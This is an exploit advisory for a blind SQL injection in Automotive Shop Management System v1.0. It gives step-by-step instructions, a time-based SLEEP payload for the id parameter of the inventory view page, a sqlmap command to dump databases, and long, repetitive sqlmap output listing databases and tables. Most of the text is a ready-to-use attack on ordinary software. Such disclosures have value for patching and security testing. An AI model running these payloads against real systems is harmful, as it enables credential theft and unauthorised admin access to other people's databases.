Exploit Title: Automotive Shop Management System v1.0 - Blind SQL Injection

Exploit Author: NS Kumar (n1_x)

Date: May 6, 2022

Vendor Homepage: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

Software Link:

https://www.sourcecodester.com/sites/default/files/download/oretnom23/asms_0.zip

Tested on: Parrot Linux, Apache, Mysql

Vendor: oretnom23

Version: v1.0

Exploit Description:

Automotive Shop Management System v1.0 suffers from blind SQL Injection Vulnerability allowing remote attackers to dump all database credential and gain admin access(privilege escalation).

---------- To Exploit ----------

Step 1: Login as a staff user.

Step 2: Goto Inventory page click action and select view product, you can see url like http://localhost/asms/admin/?page=inventory/view_details&id=7

Step 3: The id parameter is the vulnerable one. put the payload '+(select*from(select(sleep(5)))a)+' or copy the url send it to the sqlmap.

step 4: sqlmap query : sqlmap -u http://localhost/asms/admin/?page=inventory/view_details&id=7 --batch --dbs

step 5: You can Enumerate all database credentials.

Sample Sqlmap log:

```
sqlmap identified the following injection point(s) with a total of 133 HTTP(s)
requests:




Parameter: id (GET)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: page=products/view_details&id=1' AND (SELECT 1875 FROM
(SELECT(SLEEP(5)))WrPn) AND 'nDbG'='nDbG




web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
sqlmap resumed the following injection point(s) from stored session:




Parameter: id (GET)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: page=products/view_details&id=1' AND (SELECT 1875 FROM
(SELECT(SLEEP(5)))WrPn) AND 'nDbG'='nDbG




web application technology: PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
```

available databases [16]: [*] *information_schema* [] LoginSystem [*] *mims* [] mysql [*] *asms_db* [] omps_db [*] *performance_schema* [] phpmyadmin

```
sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: page=products/view_details&id=1' AND (SELECT 1875 FROM
(SELECT(SLEEP(5)))WrPn) AND 'nDbG'='nDbG

web application technology: PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: page=products/view_details&id=1' AND (SELECT 1875 FROM
(SELECT(SLEEP(5)))WrPn) AND 'nDbG'='nDbG

web application technology: PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: page=products/view_details&id=1' AND (SELECT 1875 FROM
(SELECT(SLEEP(5)))WrPn) AND 'nDbG'='nDbG
```

```
web application technology: PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Database: omps_db
Table: category_list
[9 entries]
```

[18:41:24] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.1.2, Apache 2.4.52 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [18:41:24] [INFO] fetching tables for database: 'asms_db' [18:41:25] [INFO] resumed: 'inventory_list' [18:41:25] [INFO] resumed: 'mechanic_list' [18:41:25] [INFO] resumed: 'product_list' [18:41:25] [INFO] resumed: 'service_list' [18:41:25] [INFO] resumed: 'system_info' [18:41:25] [INFO] resumed: 'transaction_list' [18:41:25] [INFO] resumed: 'transaction_products' [18:41:25] [INFO] resumed: 'transaction_services' [18:41:25] [INFO] resumed: 'users' Database: asms_db [9 tables] +----------------------+ | inventory_list | | mechanic_list | | product_list | | service_list | | system_info | | transaction_list | | transaction_products | | transaction_services | | users | +----------------------+ ---------+--------+-------------+---+--------------------+--------------------+